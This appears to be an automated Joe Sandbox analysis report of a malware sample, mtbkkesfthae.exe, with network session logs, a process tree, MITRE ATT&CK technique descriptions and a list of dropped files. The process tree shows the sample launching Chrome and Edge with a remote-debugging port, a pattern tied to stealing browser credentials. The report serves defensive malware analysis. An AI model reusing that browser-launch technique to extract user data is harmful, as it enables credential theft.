2024-12-02 00:34:58 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:58 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:58 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:58 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 2eabf22f-f01e-005d-68dc-4313ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003458Z-174f7845968pf68xhC1EWRr4h80000001400000000004fts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:58 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.7	49912	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-12-02 00:34:58 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:58 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:58 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C523_BL2 x-ms-request-id: f2ec3d3a-249a-45ed-b6a3-a33055db6fd4 PPServer: PPV: 30 H: BL02EPF0001D6D8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:58 GMT Connection: close Content-Length: 11410
2024-12-02 00:34:58 UTC	11410	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Target ID:	0
Start time:	19:33:56
Start date:	01/12/2024
Path:	C:\Users\user\Desktop\mtbkkesfthae.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\mtbkkesfthae.exe"
Imagebase:	0x400000
File size:	419'328 bytes
MD5 hash:	774A8755ECCB3EBD8463204E8CD60941
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	19:34:13
Start date:	01/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	19:34:14
Start date:	01/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2552,i,15530253951471776395,4344190351209215008,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:07:45
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:07:45
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2440 --field-trial-handle=2248,i,9362391852228270588,9992411069803109561,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:07:45
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	21:07:46
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	21:07:50
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6452 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:07:50
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6732 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	21:08:46
Start date:	01/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6724 --field-trial-handle=2372,i,18180584647005006012,17580123923500325599,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report mtbkkesfthae.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\GIDAECGDAFBA\DAEBFH

C:\ProgramData\GIDAECGDAFBA\DAKEHIJJK

C:\ProgramData\GIDAECGDAFBA\DHJJEG

C:\ProgramData\GIDAECGDAFBA\FHJDBK

C:\ProgramData\GIDAECGDAFBA\GCGCBAECF

C:\ProgramData\GIDAECGDAFBA\GDBAKE

C:\ProgramData\GIDAECGDAFBA\IDAEBG

C:\ProgramData\GIDAECGDAFBA\JKEGHD

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\251f1341-616e-468b-a933-559950d1047d.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7b319724-c6a9-4402-885e-2242a55a6e44.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7ea96471-aecb-4388-91ef-b2ecc4bc060a.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8081479d-4d49-43ec-9dd3-9f0feecb6363.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\98dfcf54-7c58-49e3-990c-c8252fb2bb36.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\e558f062-fa61-4e23-be62-e9a5ab3f3095.tmp

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Windows Analysis Report
mtbkkesfthae.exe